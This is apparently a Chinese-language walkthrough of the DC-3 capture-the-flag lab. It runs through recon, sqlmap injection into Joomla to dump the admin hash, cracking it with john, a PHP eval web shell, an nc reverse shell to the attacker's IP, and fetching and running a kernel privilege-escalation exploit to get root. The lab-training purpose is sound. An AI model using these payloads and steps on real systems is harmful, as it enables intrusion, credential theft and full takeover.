DC-3打靶记录
一、需要解决的网卡问题
- 出现启动菜单时,按e
- 修改以linux开头那一行。将ro改为:rw signie init=/bin/bash
- 按CTRL+X进入系统
- 通过ip a查看网卡的名字
- 修改/etc/network/interfaces中的网卡名字和上一步看到的一致。
- 重新启动后问题解决
二、收集信息
- 扫描网络得到目标主机的IP:这一步也可以用nmap,但arp-scan速度快些。接下来分别用nmap和nikto扫描。
arp-scan -l
nmap -sC -sV -p- -o ~/game/dc-3/host.txt 10.0.0.21
nikto -host 10.0.0.21
whatweb http://10.0.0.21
joomscan --url http://10.0.0.21/
- sqlmap
# 列出数据库库名
sqlmap -u "http://10.0.0.21/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
# 列出当前数据库的库名
sqlmap -u"http://10.0.0.21/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --current-db -p list[fullordering]
# 列出joomladb 数据库中的表名
sqlmap -u "http://10.0.0.21/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" --tables -p list[fullordering]
#列出users 表的字段及类型
sqlmap -u "http://10.0.0.21/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" --columns -p list[fullordering]
# 执行完毕后可得到admin的密码Hash
Database: joomladb
Table: #__users
[1 entry]
+-------+--------------------------------------------------------------+
| name | password |
+-------+--------------------------------------------------------------+
| admin | $2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu |
+-------+--------------------------------------------------------------+
三、解密
- 将密码hash存入文件:admin_hash.txt
- john admin_hash.txt
- 得到admin的密码:snoopy
┌──(root????kali)-[~/game/dc-3]
└─# john admin_hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 4 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
snoopy (?)
1g 0:00:00:00 DONE 2/3 (2021-08-27 02:50) 5.263g/s 189.4p/s 189.4c/s 189.4C/s 123456..buster
Use the "--show" option to display all of the cracked passwords reliably
Session completed
四、尝试文件上传
- 使用admin账号登录后,发现有地方可以上传文件。尝试将下面的一句话木马上传
<?php
@eval($_REQUEST['777'])
?>
111111
- 反弹Shell:将这个文件想办公上传,本实例中,可以直接在网页编辑,编辑好后直接存贮在服务端。通过以下位置进行访问:
http://10.0.0.21/templates/beez3/html/shell.php
/*要注意nc后面的IP是攻击发起者的。*/
<?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.11 4444 >/tmp/f');?>
yes
- 在kali中启动监听
nc -lvvp 4444
- 访问成功后,建立连接。成功拿到Shell。接下来就是想办法提权。
五、 提权
- 先搞清楚Linux内核版本,可用如下命令:
$ uname -a
Linux DC-3 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:34:49 UTC 2016 i686 athlon i686 GNU/Linux
$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 16.04 LTS
Release: 16.04
Codename: xenial
$
- 通过searchsploit ubuntu 16,得到一个可以提权的信息。
Linux Kernel 4.4.x (Ubuntu 16.04) - 'double-fdput()' bpf(BPF_PROG_LOAD) Privilege Escalation | linux/local/39772.txt
- 找到这个文件,查看内容
find /usr/share/ -name '39772.txt'
cat /usr/share/exploitdb/exploits/linux/local/39772.txt
# 在文件的最后一行可以找到:
Exploit-DB Mirror: https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip
-
这个文件中是C语言代码,需要在目标主机上运行。如何传到目标主机上,这是一个问题。一般有三种思路:
-
通过网站本身的上传,结果文件格式不允许上传,改过文件名也不行。
-
直接在网站上新创建文本文件,然后再通过终端改文件名。这种方式比较麻烦。
-
直接下载:这个文件没有外网,基本不太可能。
-
先把文件下载到kali上。通过Kali上的建立服务器,然后在目标主机上直接下载。
-
第一步,想办法下载到kali上。
-
第二步,将下载到的文件放到/var/www/html/下。
-
第三步,启动apache服务器。
service apache2 start
-
第四步,通过前面拿到的shell,将文件下载到目标机上,解压,执行compile.sh编译。
wget http://10.0.0.11/39772.zip
unzip 39772.zip
tar -xvf exploit.tar
./compile.sh
./doubleput
-
第五步,耐心等待一会儿,运气好的话,你就拿到了root权限。
$ ./doubleput suid file detected, launching rootshell... we have root privs now... fuse: mountpoint is not empty fuse: if you are sure this is safe, use the 'nonempty' mount option doubleput: system() failed doubleput: child quit before we got a good file*
-
第六步,查看/root目录下的文件,可以得到the-flag.txt。
ls /root the-flag.txt cat /root/the-flag.txt __ __ _ _ ____ _ _ _ _ \ \ / /__| | | | _ \ ___ _ __ ___| | | | | \ \ /\ / / _ \ | | | | | |/ _ \| '_ \ / _ \ | | | | \ V V / __/ | | | |_| | (_) | | | | __/_|_|_|_| \_/\_/ \___|_|_| |____/ \___/|_| |_|\___(_|_|_|_) Congratulations are in order. :-) I hope you've enjoyed this challenge as I enjoyed making it. If there are any ways that I can improve these little challenges, please let me know. As per usual, comments and complaints can be sent via Twitter to @DCAU7 Have a great day!!!!
-
-